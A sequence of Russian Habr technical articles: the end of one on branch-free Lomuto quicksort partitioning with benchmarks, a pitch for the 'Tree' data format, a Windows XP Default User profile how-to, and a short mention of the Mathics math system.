++first;
}
}
// Put the pivot where it belongs.
assert(*first >= pivot);
--first;
*pivot_pos = *first;
*first = pivot;
return first;
}
```
Теперь функция выбирает в качестве опорного меньший из первого и последнего элементов, прямо как `hoare_partition`. Я также сделал ещё одно небольшое изменение: вместо функции `swap` будем использовать явное присваивание. Оптимизатор позаботится обо всём автоматически, зато мы более чётко увидим сравнительно дорогие операции над элементами массива. Теперь к интересной части. Сфокусируемся на основном цикле:
```
for (auto read = first + 1; read < last; ++read) {
auto x = *read;
if (x < pivot) {
*read = *first;
*first = x;
++first;
}
}
```
Подумаем о статистике. В этом цикле две проверки условия: `read < last` и `x < pivot`. Насколько они предсказуемы? Что ж, первая из них чрезвычайно предсказуема: можно с надёжностью предсказать, что результат всегда будет истинным, и мы ошибёмся только один раз вне зависимости от размера массива. Разработчики компиляторов и проектировщики железа об этом знают и планируют самый быстрый путь, исходя из предположения, что цикл будет продолжаться. (Идея подарка для вашего друга — инженера из Intel: дверной коврик с надписью «Переход назад всегда будет выполнен»). Процессор начнёт выполнять следующую итерацию цикла ещё до того, как определит, должен ли цикл продолжаться. Лишняя работа будет выброшена только один раз в конце цикла. В этом заключается магия спекулятивного выполнения.
Со второй проверкой — `x < pivot` — всё не так радужно. Со случайными данными и случайно выбранным опорным элементом результат может быть любым с равной вероятностью. Это значит, что спекулятивное выполнение здесь не поможет, что очень плохо для производительности. Насколько плохо? В архитектурах с многоступенчатыми конвейерами (а на сегодняшний день они все такие) ошибка предсказания означает, что работу, проделанную несколькими стадиями конвейера, придётся выбросить, и этим мы запустим пузырёк бесполезности через весь конвейер (представьте пузырьки воздуха в садовом шланге). Если этих пузырьков станет слишком много, цикл будет выдавать только часть от достижимой производительности. Как покажут измерения, одно лишнее предсказание забирает около 30% потенциальной скорости.
Как нам исправить эту проблему? Вот идея: вместо того, чтобы принимать решения, контролирующие ход выполнения, мы напишем код прямолинейно и оформим решения как целые числа, которые будут направлять *данные* при помощи аккуратной индексации. Готовьтесь: нам придётся делать глупые вещи. Например, каждую итерацию вместо того, чтобы в зависимости от условия делать либо две записи, либо ноль, мы будем делать ровно две записи независимо ни от чего. Если записи не требуются, мы будем перезаписывать данные в памяти их собственными значениями (я говорил про «глупые вещи»?). Чтобы подготовить к этому код, перепишем его следующим образом:
```
for (auto read = first + 1; read < last; ++read) {
auto x = *read;
if (x < pivot) {
*read = *first;
*first = x;
first += 1;
} else {
*read = x;
*first = *first;
first += 0;
}
}
```
Теперь обе ветви в цикле практически одинаковы, не считая данных. Код всё ещё корректен (хоть он и странный), потому что ветвь `else` впустую переписывает `*read` и `*first` самими собой. Как нам объединить две ветви? Чтобы сделать это эффективно, придётся немного подумать и поэкспериментировать. Увеличить `first` на единицу в зависимости от условия несложно: `first += x < pivot`. Проще простого. Справиться с двумя записями в память уже труднее, но основная идея в том, чтобы взять разницу между указателями и использовать индексацию. Вот получившийся код. Потратьте минуту, чтобы его осмыслить:
```
for (; read < last; ++read) {
auto x = *read;
auto smaller = -int(x < pivot);
auto delta = smaller & (read - first);
first[delta] = *first;
read[-delta] = x;
first -= smaller;
}
```
Перефразируя крылатое латинское выражение, *explanatio longa, codex brevis est*. Краток код, объяснение длинно. Инициализация `smaller` через `-int(x < pivot)` выглядит странно, но для неё есть хорошая причина: `smaller` можно использовать и как целое (0 или −1) для обычной арифметики, и как маску со значением `0x0` или `0xFFFFFFFF` (то есть все биты выставлены либо на 0, либо на 1) для побитовых операций. Мы будем использовать эту маску, чтобы пропустить или не пропустить другое целое при вычислении `delta`. Если `x < pivot`, то `smaller` — это все единицы, и `delta` инициализируется как `read - first`. Далее `delta` используется в `first[delta]` и `read[-delta]` — на самом это деле просто синтаксический сахар для `*(first + delta)` и `*(read - delta)`. Если заменить `delta` в этих выражениях, получим соответственно `*(first + (read - first))` и `*(read - (read - first))`.
Последняя строчка — `first -= smaller` — тривиальна: если `x < pivot`, то отнять от `first` −1, что то же самое, что и увеличить `first` на 1. В противном случае отнять от `first` 0, что не окажет никакого эффекта.
Если заменить `x < pivot` на 1, то вот что происходит в теле цикла:
```
auto x = *read;
int smaller = -1;
auto delta = -1 & (read - first);
*(first + (read - first)) = *first;
*(read - (read - first)) = x;
first -= -1;
```
Почти по волшебству две операции над указателями упрощаются до `*read` и `*first`, так что два присваивания складываются в обмен (не забывайте, что `x` только что инициализировали значением `*read`). Это именно то, что мы делали в ветви «`if`» в первоначальной версии!
Если `x < pivot` — ложь, то `delta` инициализируется нулём, и тело цикла работает так:
```
auto x = *read;
int smaller = 0;
auto delta = 0 & (read - first);
*(first + 0) = *first;
*(read - 0) = x;
first -= 0;
```
На этот раз всё проще: `*first` и `*read` переписывается самими собой, а с `first` ничего не происходит. Весь этот код ничего не делает, и это как раз то, что нам было нужно.
Теперь посмотрим на всю функцию:
```
long* lomuto_partition_branchfree(long* first, long* last) {
assert(first <= last);
if (last - first < 2)
return first; // nothing interesting to do
--last;
if (*first > *last)
swap(*first, *last);
auto pivot_pos = first;
auto pivot = *first;
do {
++first;
assert(first <= last);
} while (*first < pivot);
for (auto read = first + 1; read < last; ++read) {
auto x = *read;
auto smaller = -int(x < pivot);
auto delta = smaller & (read - first);
first[delta] = *first;
read[-delta] = x;
first -= smaller;
}
assert(*first >= pivot);
--first;
*pivot_pos = *first;
*first = pivot;
return first;
}
```
Красиво, правда? Ещё более красив сгенерированный код: взгляните на [clang](https://godbolt.org/z/wav5Ys)/[ldc](https://godbolt.org/z/iE2xwZ) и [g++](https://godbolt.org/z/nUp8Te)/[gdc](https://godbolt.org/z/auHro3). Опять же, между бэкендами наблюдается небольшая разница.
### Эксперименты и результаты
Весь код доступен здесь: <https://github.com/andralex/lomuto>.
Чтобы устроить честное сравнение двух схем разбиения, я написал реализацию быстрой сортировки, поскольку именно для неё чаще всего используется разбиение. Для простоты я опустил некоторые детали, присутствующие в индустриальных имплементациях быстрой сортировки, нужные для данных с разными характеристиками (частично отсортированные в прямом или обратном порядке, с локальными паттернами, со множеством дубликатов). Библиотечные реализации тщательно выбирают опорный элемент, обычно из 3—9 элементов, иногда с рандомизацией. Они умеют определять [проблемные вводные данные](https://www.cs.dartmouth.edu/~doug/mdmspe.pdf) и избегать их, обычно с помощью [интроспективной сортировки](http://liacs.leidenuniv.nl/~stefanovtp/courses/StudentenSeminarium/Papers/CO/ISSA.pdf).
Наш бенчмарк для простоты проводит тест только на случайных данных, и опорный элемент выбирается просто как меньшее значение из первого и последнего элементов. Репрезентативность при этом не страдает: более качественный выбор опорного элемента и добавление интроспекции делаются одинаково вне зависимости от метода разбиения. Наш главный интерес — сравнить производительность Хоара, Ломуто и версии Ломуто без ветвления.
Графики ниже показывают время, затраченное на одну сортировку в зависимости от объёма входных данных. Используемая машина: Intel i7-4790 на частоте 3600 МГц с иерархией кэша 256 Кб / 1 Мб / 8 Мб, работающий под Ubuntu 20.04. Все билды были настроены на максимальную скорость (`-O3`, без проверок `assert` и проверок границ массивов в D). Входные данные — псевдослучайная последовательность значений типа `long` с одинаковым зерном для всех языков и платформ. Для устранения шума были взяты минимальные значения за несколько эпох.
Ниже показаны результаты для языка D, включая `std.sort` из стандартной библиотеки в качестве базовой величины.
Ниже показаны результаты для C++. Опять же, для сравнения взята функция `std::sort` из стандартной библиотеки.
Важная метрика — эффективность использования CPU, которую Intel VTune показывает в виде диаграммы-воронки. VTune выдаёт очень подробные отчёты, но диаграмма-воронка наглядно показывает, на что уходит работа. Чем ́уже выход (справа), тем медленнее выполняется программа по сравнению с её возможным потенциалом.
Диаграммы ниже соответствуют разбиению Хоара, разбиению Ломуто (в традиционной реализации) и разбиению Ломуто без ветвления. Первые два выбрасывают примерно 30% всей работы из-за ошибок предсказания. По сравнению с ними версия разбиения Ломуто без ветвления почти ничего не выбрасывает, что позволяет ей быть эффективнее несмотря на большее количество записей в память.
*Диаграмма-воронка для разбиения Хоара. Значительная часть работы проделана впустую из-за ошибок предсказания переходов.*
*Диаграмма-воронка для традиционной реализации разбиения Ломуто. Примерно столько же ошибок предсказания переходов, что и в разбиении Хоара.*
*Диаграмма-воронка для реализации разбиения Ломуто без ветвления. Практически ничего не уходит впустую из-за ошибок предсказания переходов, что даёт гораздо б́ольшую эффективность.*
Обсуждение
----------
Четыре версии (два языка помноженные на два бэкенда) показывают слабые отличия из-за различиях в реализации стандартных библиотек и в бэкендах. Не вызывает удивления, что незначительные различия в генерируемом коде могут создавать измеряемую разницу в скорости выполнения.
Как и ожидалось, обычная версия разбиения Ломуто показывает себя хуже, чем разбиение Хоара, особенно на большом объёме входных данных. И то, и то, находятся в одной лиге, когда идёт речь о реализации функции сортировки в стандартной библиотеке. Однако версия разбиения Ломуто без ветвления побеждает с большим отрывом вне зависимости от платформы, бэкенда и объёма входных данных.
За последние годы стало совершенно очевидно, что анализ алгоритмов (из которого вытекают предложения по оптимизации) нельзя проводить на бумаге, используя упрощённые модели компьютерных архитектур. На эффективность сортировки влияет не только количество сравнений и обменов — как минимум представляет важным учитывать предсказуемость сравнений. Я надеюсь, что в будущем появятся более реалистичные модели, которые позволят теоретикам править балом. А на сегодняшний день, к сожалению, над оптимизацией алгоритмов всё ещё приходится работать экспериментальным путём.
Что касается сортировки, то Ломуто определённо возвращается, и его стоит принимать в расчёт тем, кто разрабатывает индустриальные реализации быстрой сортировки на архитектурах со спекулятивным выполнением.
Благодарности
-------------
Большое спасибо Amr Elmasry, Jyrki Katajainen и Max Stenmark за их [вдохновляющую статью](https://www.researchgate.net/publication/255567817_Branch_Mispredictions_Don't_Affect_Mergesort). Мне пока не удалось написать реализацию сортировки слиянием (основной результат их статьи), который мог бы поспорить с описанной здесь быстрой сортировкой, но я над этим работаю. (Да простит меня Общество анонимных сортировщиков… Я опять сорвался). Также хочу поблагодарить Майкла Паркера и всех авторов комментариев к оригинальной публикации за то, что исправили многие мои языковые косяки — английский для меня не родной. (Как обычно говорят: «pretend not to notice» или «pretend to not notice»? Каждый раз забываю). И конечно, основная заслуга принадлежит Нико Ломуто, который придумал алгоритм, который не просто прошёл проверку временем — он его опередил. | https://habr.com/ru/post/512106/ | null | ru | null |
# Tree — убийца JSON, XML, YAML и иже с ними
Здравствуйте, меня зовут Дмитрий Карловский и я… много думал. Думал я о том, что не так с XML и почему его в последнее время променяли, на бестолковый JSON. Результатом этих измышлений стал новый ~~стандарт~~ формат данных, который вобрал в себя гибкость XML, простоту JSON и наглядность YAML.
 Tree — двумерный бинарно-безопасный формат представления структурированных данных. Легко читаемый как человеком так и компьютером. Простой, компактный, быстрый, выразительный и расширяемый. Сравнивая его с другими популярными форматами, можно составить следующую сравнительную таблицу:
| Больше — лучше | JSON | XML | YAML | INI | Tree |
| --- | --- | --- | --- | --- | --- |
| Человекопонятность | 3 | 1 | 4 | 5 | 5 |
| Удобство редактирования | 3 | 1 | 4 | 5 | 5 |
| Произвольная иерархия | 3 | 3 | 3 | 1 | 5 |
| Простота реализации | 3 | 2 | 1 | 5 | 5 |
| Скорость парсинга/сериализации | 3 | 1 | 1 | 5 | 5 |
| Размер в сериализованном виде | 3 | 1 | 4 | 5 | 5 |
| Поддержка поточной обработки | 0 | 0 | 5 | 5 | 5 |
| Бинарная безопасность | 3 | 0 | 0 | 0 | 5 |
| Распространённость | 5 | 5 | 3 | 3 | 0 |
| Поддержка редакторами | 5 | 5 | 3 | 5 | 1 |
| Поддержка языками программирования | 5 | 5 | 3 | 5 | 1 |
#### **Сравнение форматов**
##### **Человекопонятность**
JSON и XML позволяют произвольно форматировать вывод пробелами и переносами строк. Однако, часто по различным причинам (основные — меньший объём, проще реализация) их форматируют в одну строку и тогда они становятся крайне не читаемыми.
```
{ "users" : [ { "name" : "Alice" , age : 20 } ] }
```
```
Alice20
```
Кроме того, JSON не поддерживает многострочные тексты — они всегда представляются в виде одной строки, со специальной escape-последовательностью вместо переводов строк.
```
{ "description" : "Hello, Alice!\nHow do you do?" }
```
С другой стороны, XML позволяет внедрять свои тэги внутрь текста, что наглядно для простой разметки типа «выделение жирным», но сложная разметка типа «гиперссылка» даёт резко противоположный эффект.
```
Hello, **Alice**!
How do you do?
```
```
Hello, [Alice](http://example.org/user/alice?ref=xe3o7rubvo283xb)!
How do you do?
```
Если текст содержит «специальные символы», то их приходится экранировать escape-последовательностями. В XML эти последовательности особенно громоздки и ненаглядны. А вот в Tree, наоборот, экранирование не требуется вовсе.
```
"Rock&roll" = life
```
```
{ "title" : "\"Rock&roll\" = life" }
```
##### **Удобство редактирования**
JSON и XML довольно неудобно редактировать без специальных редакторов, понимающих их синтаксис. Как минимум необходима разноцветная подсветка лексем. Очень помогает — автоформатирование, автодополнение и подсветка ошибок. К сожалению, экранировать спецсимволы приходится вручную во всех форматах, кроме Tree, где оно не требуется.
##### **Произвольная иерархия**
INI имеет жёстко ограниченную глубину иерархии.
В XML произвольные дочерние узлы могут быть только у элементов — это вынуждает использовать их вместо, например, аттрибутов, для большей гибкости и единообразия.
JSON и YAML для создания иерархий предлагают «списки» и «мапки». Не все структуры данных хорошо представимы с их помощью. Например, различные AST, где имена узлов могут повторяться и порядок следования которых важен.
В Tree есть только один тип узлов и любой узел может содержать произвольные дочерние. Как следствие, он не накладывает никаких ограничений на иерархию.
##### **Простота реализации**
###### **JSON**
Довольно простая грамматика ([30 паттернов](http://rfc7159.net/rfc7159#rfc.section.2)), чем и обусловлено большое число реализаций под разные языки.
###### **XML**
Довольно сложная грамматика ([90 паттернов](http://www.jelks.nu/XML/xmlebnf.html)), которая могла бы быть куда проще, если бы не требование совместимости с sgml.
###### **YAML**
Крайне сложная грамматика ([210 паттернов](https://gist.github.com/tociyuki/3936873)). Нужно быть очень терпеливым человеком, чтобы реализовать все нюансы, и потратить много человекочасов, чтобы избавиться ото всех багов.
###### **INI**
Крайне простая грамматика ([8 паттернов](http://habrahabr.ru/post/50973/)), позволяющая описывать лишь одну, довольно простую структуру (ключ-ключ-значение).
###### **Tree**
Очень простая грамматика ([10 паттернов](https://github.com/nin-jin/tree.d/blob/master/tree.grammar.tree)), что, однако, не мешает описывать с его помощью произвольные иерархические структуры.
##### **Скорость парсинга/сериализации**
Не вдаваясь в сравнение скорости работы конкретных имплементаций, оценим теоретические пределы скоростей работы с разными формтами.
Предельная скорость обработки данных зависит от сложности синтаксиса. Именно поэтому YAML парсится на порядок дольше, чем JSON, а XML по скорости где-то между ними.
Tree помимо простой грамматики имеет ещё одно существенное преимущество — отсутствие необходимости в экранировании и разэкранировании спецсимволов.
##### **Размер в сериализованном виде**
Примеры файлов на разных языках: [github.com/nin-jin/tree.d/tree/master/formats](https://github.com/nin-jin/tree.d/tree/master/formats)
Как видно, существенно больше всех места занимает XML, даже если его минифицировать. JSON в читабельном виде и YAML где-то по середине. А самые компактные — INI, Tree и минифицированный в одну строку JSON.
##### **Поддержка поточной обработки**
Поддерживающие поточную обработку форматы, позволяют добавлять данные в файл, просто подклеивая их в конец. Яркий пример — различные логи. И наоборот — нормально распарсить данные, имея лишь некоторое число начальных строк.
В случае XML и JSON такой возможности нет — документ с обрезанным концом или дополнительными данными в конце, является невалидным.
##### **Бинарная безопасность**
Почти все текстовые форматы не совместимы с бинарными данными. Именно поэтому Tree — на самом деле не текстовый формат, хотя его и можно редактировать в текстовом редакторе при соблюдении некоторых ограничений (использовать только unix-переводы строк, табуляцию для отступов, и не использовать произвольные бинарные данные).
##### **Распространённость**
XML довольно продолжительное время был в тренде, так что нашёл применение во множестве мест. Сейчас уверенными темпами популярность набирает JSON, благодаря своей простоте, но ценой некоторой потери гибкости. INI за счёт своей ограниченности применялся лишь для различных конфигов, но сейчас замещается более гибкими форматами. YAML остаётся довольно нишевым форматом ввиду своей переусложнённости, хотя и снискал некоторую популярность у любителей «писать меньше, делать больше, а потом хоть трава не расти». Tree пока ещё вначале пути и надеюсь не в конце.
##### **Поддержка редакторами**
XML и JSON благодаря своей популярности поддерживаются везде. Над поддержкой YAML многие разработчики редакторов просто не видят целесообразности заморачиваться. INI настолько прост, что для него никакой особой поддержки и не нужно. С Tree в принципе та же картина, но есть один плагин к IDEA о котором будет рассказано далее.
##### **Поддержка языками программирования**
Тут в целом та же ситуация, что и с поддержкой редакторами. Разве что для Tree есть две реализации — на языках D и TypeScript/JavaScript.
#### **Подробнее о Tree**
##### **Уровни представления**
• **Уровень формата**. Определяет базовую модель данных и представление её в сериализованном виде.
• **Уровень языка**. Определяет семантику узлов и представление их в отличных от Tree форматах.
• **Уровень приложения**. Определяет API для взаимодействия с моделью данных Tree.
##### **Модель данных**
Модель Tree крайне проста — есть только один тип узлов, и каждый узел имеет: имя, значение, список дочерних узлов. Имя и значение являются взаимоисключающими, так что условно все узлы можно разделить на 3 типа:
• **Имена** — узлы с непустым именем и пустым значением. Используются для именования поддеревьев. В имени не может быть пробельных символов, символа перевода строки и символа равенства.
• **Значения** — узлы с пустым именем. Используются для хранения значений. Единственное ограничение на значения — они не могут содержать символ перевода строки.
• **Коллекции** — узлы с пустым именем и значением, но не пустым списком дочерних узлов. Используются для работы со списком узлов как с одним узлом. В результате парсинга возвращается именно коллекция, содержащая список корневых узлов.
В Tree нет комментариев или инструкций процессору, знакомых нам из XML. Нет списков или мапок из JSON и YAML. Нет специального синтаксиса для секций, как в INI. Однако они и не только они могут быть введены в языках, основанных на формате Tree.
##### **Строковое представление**
Tree-файл состоит из набора строк, разделённых символом перевода строки (0x0D). Каждая строка начинается с некоторого количества символов табуляции, показывающих какой из предков является родителем первого узла в строке. И далее идёт список узлов разделённых пробелами. Каждый следующий при парсинге вкладывается в предыдущий. Узлы-имена представляются просто своим именем. Узлы-значения – значением, предварёнными символом равенства.
В одной строке может быть произвольное число узлов-имён, но узел-значение может быть только один, причём самым последним. Значение может содержать абсолютно любые символы за исключением символа перевода строки. Когда нужно поместить произвольные бинарные данные – их предварительно надо разбить по символу перевода строки на несколько узлов-значений. А при приведении дерева к строке именованные узлы будут отброшены, а данные из узлов-значений будут выведены как есть и между ними будут вставлены переводы строк.
Наличие табуляции в строке означает, что первый узел в этой строке должен быть вложен в последний узел последней строки имеющей табуляцию на один меньше.
По сухому описанию довольно сложно ухватить суть, так, что далее будет множество наглядных иллюстраций…
#### **Примеры применения Tree в разных областях**
##### **Контекстно свободные грамматики**
Хоть формат Tree и не является контекстно свободным, но разбить на лексемы его можно по сравнительно не сложной контекстно свободной грамматике, которую можно выразить тоже в формате Tree:
**Подробнее о языке grammar.tree**Описание грамматики состоит из списка слов, для каждого из которых внутри задан соответствующий ему шаблон.
##### **is**
Предикат эквивалентности. Обозначает, что родительский узел может быть заменён на последовательность дочерних шаблонов.
Данное выражение определяет STATEMENT как последовательность из некоторого «выражения», за которым следует символ «точка с запятой».
##### **octet**
Совпадает с одним октетом (8 бит) с указанным внутри шестнадцатиричным значением.
Тут мы определяем SEMICOLON как октет с заданным значением. Если значение опущено, то такой шаблон совпадает с любым значением.
##### **optional**
Допускает отсутствие дочернего шаблона.
Совпадает либо с двумя байтами: возвращения каретки после которого идёт перевода строки. Либо с одним переводом строки.
##### **any-of**
Сопоставится с одним и только одним из дочерних шаблонов.
##### **list-of**
Позволяет последовательно повторить дочерний шаблон произвольное число раз (но как минимум одно совпадение должно быть).
Тут DELIMITER совпадёт с не пустой последовательной группой пробелов.
##### **except**
Служит для исключения дочернего шаблона из родительского. Это значит, что родительский шаблон будет сопоставлен лишь с таким набором байт, с которым не может быть сопоставлен дочерний.
Тут мы определяем EXPRESSION как произвольное число байт ни один из которых не является «точкой с запятой».
А этот шаблон уже совпадёт с произвольным набором байт (в том числе содержащего «точку с запятой»), но только не с одиночной «точкой с запятой».
##### **with-delimiter**
Указывает, что совпадения сестринских шаблонов должны быть разделены дочерним шаблоном.
Здесь SCRIPT определён как набор выражений, разделённых заданным символом.
##### **Лог доступа к веб-серверу**
Расширяемый структурированный формат логов. Может показаться громоздким, зато очень быстро и точно парсится как человеком так и машиной.
##### **Поток сообщений от сервера в чате**
Специальный разделитель "---" говорит клиенту о том, что завершилась пересылка очередной порции данных и можно приступать к её обработке.
##### **Вёрстка статической веб-страницы**
Специальный DSL на базе Tree позволяет лаконично описывать XML любой сложности. Трансформер из xml.tree в xml понимает специальные узлы «@», «!» и «?» формируя атрибуты, комментарии и инструкции процессору.
**Подробнее о языке xml.tree**Структурные узлы соответствующие [QName](http://en.wikipedia.org/wiki/QName) – элементы. Узлы данных – текстовые узлы.
```
Рога & Копыта
Привет!
=======
Хочешь, я расскажу тебе сказку?
```
Атрибуты представляются как узлы с QName именем, помещённые в узлы с именем «@».
```
```
Имена атрибутов повторяться не должны. Значением атрибута является текст, но также внутри может быть и дерево, которое при создании XML должно быть сериализовано в текст.
Вложенные основанные на формате Tree языки помещаются в узел с именем этого языка, который помещается в узел c именем «%». От процессора требуется поддержка используемых языков, иначе он не сможет правильно собрать XML. Вложенные языки сериализуются в строку по своим правилам и вставляются в XML в качестве текстового узла.
```
```
Комментарии помещаются в узел с именем "--". Заметьте, что в комментарий помещается всё поддерево, которое сериализуется по всем правилам xml.tree.
```
```
Инструкции процессору помещаются в узлы с именем "?" и могут содержать как просто какие-то значения, так и пары ключ-значение.
```
xml version="1.0" stanalone="yes" ololo?
```
##### **Дамп реляционной базы данных**
Заметьте, тут используется приём расширения языка. Сначала мы декларируем схему базы данных, а потом используем заданные в схеме имена в качестве DSL для описания данных.
##### **Абстрактное Синтаксическое Дерево**
Эта структура данных используется языковыми трансляторами в качестве внутреннего представления обрабатываемых ими языков. Программируя на NodeJS велик соблазн использовать в качестве AST — некоторое подмножество JSON.
Например, у нас есть следующий исходник на JS:
```
function getEl( id ){
return document.getElementById( id )
}
```
Интуитивно кажется, что AST должен выглядеть как-то так:
```
[
{ "function": {
"name": "getEl",
"args": [ "id" ],
"body": [
{ "return": [
{ "get": "document" },
{ "call": {
"name": "getElementById",
"args": [
{ "get": "id" }
]
}}
]}
]
}}
]
```
Однако, это довольно не удобный для работы формат, так как чтобы узнать тип узла нужно проитерироваться по его свойствам и взять имя первого собственного свойства. Поэтому, чаще можно встретить формат типа такого, где первый элемент списка содержит тип узла, остальные — различный набор параметров специфичный для этого типа:
```
[ [ "function",
"getEl",
[ "id" ],
[ "return",
[ [ "get",
"document" ],
[ "call",
"getElementById",
[ "get", "id" ]
]
]
]
]
]
```
А теперь сравните с реализацией в Tree формате:
##### **Редактирование других форматов, через Tree представление**
Основная фишка модели данных Tree заключается в том, что она позволяет описывать почти любые другие модели данных. Например, модель данных XML — это сильно усечённая модель данных Tree.
Что это значит? А значит это, что многие форматы могут быть транслированы в некоторое подмножество Tree и обратно без потерь. То есть, вместо того, чтобы редактировать, например, XML как он есть, редактор может налету преобразовать его в xml.tree язык, позволив пользователю редактировать его в более удобной и наглядной форме, а при сохранении, делать обратное преобразование и сохранять именно XML.
##### **Структурированный UNIX-трубопровод**
Суть проблематики и вариант решения с использованием JSON можно почерпнуть из статьи "[JSON pipes в шелле](http://habrahabr.ru/post/102072/)". Вкратце: в linux все команды выводят результат в неструктурированном ориентированном на человека виде, что затрудняет компоновку их друг с другом. Там предлагается использовать JSON, который привносит структуру, но ухудшает читаемость и производительность. Формат Tree в этом случае может привнести структуру практически не теряя ни в читаемости, ни в производительности.
##### **Язык декларативного программирования**
Формат Tree мог бы решить основную проблему языка Lisp — неимоверное число скобочек. Если в Lisp всё описывается как списки, то в языке на основе Tree — всё есть деревья. Точно также программа представляла бы из себя некий AST, который мог бы модифицировать сам себя для создания DSL на все случаи жизни, достигая максимальной выразительности.
#### **Эталонная реализация**
На языке D парсинг занимает не более 50 строк, а сериализация — 20. Простейший язык запросов — 15. Итого, чуть более 100 строк занимает минимально необходимый функционал: [github.com/nin-jin/tree.d](https://github.com/nin-jin/tree.d)
Парсинг:
```
string data = cast(string) read( "path/to/file.tree" ); // read from file
Tree tree = Tree.parse( data , "http://example.org/source/uri" ); // parse to tree
```
Глубокие запросы:
```
Tree userNames = tree.select( "user name" ); // returns name-nodes
Tree userNamesValues = tree.select( "user name " ); // returns value-nodes
```
Работа с узлами:
```
string name = userNames[0].name; // get node name
string stringValue = userNames[0].value; // get value as string with "\n" as delimiter
uint intValue = userNames[0].value!uint; // get value converted from string to another type
```
```
Tree[] childs = tree.childs; // get child nodes array
string uri = tree.uri; // get uri like "http://example.org/source/uri#3:2"
```
Сериализация:
```
string data = tree.toString(); // returns string representation of tree
tree.pipe( stdout ); // prints tree to output buffer
```
#### **Поддержка редакторами**
В данный момент есть лишь [плагин подсветки синтаксиса Tree к IDEA](https://plugins.jetbrains.com/plugin/7459), но он понимает только базовые конструкции формата, описанные выше. Для языков на базе Tree нужно будет сделать отдельные плагины или же один, но расширяемый с помощью схем.
Кроме того, [Alex222](http://habrahabr.ru/users/alex222/) буквально за вечер написал плагин к [SynWrite](http://www.uvviewsoft.com/synwrite/)
#### **Заключение**
Надеюсь мне удалось заразить вас идеей использования замечательного формата Tree. Рассказывайте о нём другим. Пишите библиотеки на используемых вами языках. Внедряйте хотя бы опциональную его поддержку в ваши приложения. Ищите ему новые применения — уверен их ещё много. И тогда у него будет шанс на выживание в современном мире Трендо Ориентированного Программирования.
#### **Обновление от 2016-09-11**
Так как символ равенства многих вводил в заблуждение касательно своего предназначения (он не является разделителем ключа и значения, а является маркером начала сырых данных), то в реализациях он уже заменён на обратную косую черту.
Например:
```
! City : table
ID : field
type : int 11
null : false
unique : true
Name : field
type : char 35
null : true
unique : false
City
ID : 1
Name : \Kabul
City
ID : 4079
Name : \Rafah
City
ID : 23023
Name : \Moscow
```
Тут в качестве разделителя ключа и значения используется узел с именем ":", а сырые данные предваряются "\". | https://habr.com/ru/post/248147/ | null | ru | null |
# Создание настраиваемого профиля Default User в Windows XP
При создании собственной сборки Windows XP с помощью [nlite](http://nliteos.com/), мне понадобилось некоторые настройки, которые обычно хранятся в HKEY\_CURRENT\_USER, применить для всех будущих пользователей.
Логично было бы предположить, что ветка реестра HKEY\_USERS\.DEFAULT хранит копию реестра для новых пользователей, но оказалось, что это далеко не так. Погуглив немного, я выяснил, что он хранит профиль пользователя Local System.
Дальнейшее изучение матчасти привело к нахождению двух способов:
**а)**Запускаем regedit, выбираем раздел HKEY\_USERS, затем жмём Файл->Загрузить куст (File->Load Hive). Выбираем файл %systemdrive%\Documents and Settings\Default User\ntuser.dat. Даём «кусту» любое свободное имя. Всё — у вас в руках копия HKEY\_CURRENT\_USER для будущих пользователей. Настраиваем всё что хотим, затем выбираем наш «куст», после чего жмём Файл->Выгрузить куст. Вуаля — всё готово.
**б)** На сайте Microsoft [опубликован](http://support.microsoft.com/kb/319974) другой способ:
1. Войдите в систему, используя учетную запись администратора, и создайте локальную учетную запись пользователя.
2. Завершите сеанс и войдите в систему, используя учетную запись, созданную на предыдущем шаге.
*Внимание! Создание настраиваемого профиля пользователя от имени администратора приводит к неправильному назначению прав доступа.*
3. Выполните необходимые настройки для профиля. Например, можно установить принтеры и подключить сетевые диски.
4. Завершите сеанс работы и войдите в систему, используя учетную запись администратора.
5. Поскольку некоторые файлы профиля, которые должны быть скопированы в создаваемый настраиваемый профиль Default User, являются скрытыми, необходимо включить параметр Показывать скрытые файлы и папки.
6. Замените текущий профиль Default User созданным пользовательским профилем.
**Для этого выполните следующие действия:**
a. На панели управления дважды щелкните значок Система.
b. В окне Свойства системы откройте вкладку Дополнительно.
c. В группе Профили пользователей нажмите кнопку Параметры.
d. В окне диалога Профили пользователей выберите вновь созданный профиль и нажмите кнопку Копирование профиля.
e. В диалоговом окне Копирование профиля в группе параметров Копировать профиль на нажмите кнопку Обзор, выберите папку \Documents and Settings\Default User и нажмите кнопку ОК.
f. В группе Разрешить использование нажмите кнопку Изменить, выберите в списке группу Все и нажмите кнопку ОК. Если группа Все недоступна, нажмите кнопку Дополнительно, затем кнопку Найти, выберите группу Все и нажмите ОК.
После этого данный профиль будет использоваться для создания профилей всех новых пользователей.
**Примечание.** Созданный и настроенный профиль Default User можно использовать на другом компьютере, работающем под управлением Windows XP. Для этого нужно скопировать профиль, сохраненный в папке C:\Documents and Settings\Default User, в аналогичную папку на другом компьютере.
Для себя я выбрал первый способ, т.к. мне надо было подрегулировать только несколько ключей.
**P.S.** Мне стало интересно, почему именно «куст» («hive»). Согласно [этой](http://blogs.msdn.com/oldnewthing/archive/2003/08/08/54618.aspx) заметке:
`Почему файл системного реестра называют "кустом"? Потому что один из первых разработчиков Windows NT ненавидел пчёл. В связи с этим разработчик, который отвечал на тот момент за системный реестр, сделал так много упоминаний пчёл, как только мог. Файл системного реестра называют "ульем" ("hive"), а данные системного реестра хранятся в "ячейках" ("cells").`
В русском же переводе слово «hive» перевели как «куст», хотя «Загрузить улей» в regedit'е было бы куда экзотичнее :-)
**UPD:** Опытным путём было выяснено, что изменения в HKEY\_CURRENT\_USER во время инсталляции Windows XP (шаг «регистрация компонентов»), сохраняются аккурат в %systemdrive%\Documents and Settings\Default User\ntuser.dat | https://habr.com/ru/post/44012/ | null | ru | null |
# Mathics — бесплатная альтернатива Mathematica
Многие студенты, школьники, инженеры и учёные пользуются великолепными вычислительными инструментами [Wolfram|Alpha](https://www.wolframalpha.com/) (онлайн), и [Wolfram Mathematica](https://www.wolfram.com/mathematica/) от Стивена Вольфрама. К сожалению, Wolfram Mathematica — очень дорогой пакет [даже для личного и любительского использования](https://www.wolfram.com/mathematica/pricing/home-hobby/).
Однако мало кто знает, что существует совершенно бесплатная альтернатива под названием [Mathics](https://mathics.org/) (на КДПВ). Даже на Хабре [ни одной публикации](https://habr.com/ru/search/?q=Mathics&target_type=posts&order=relevance) о ней, что довольно странно.
Мы не публикуем обзор этой системы, просто хотим упомянуть о ней на Хабре, раз уж этого никто не сделал.
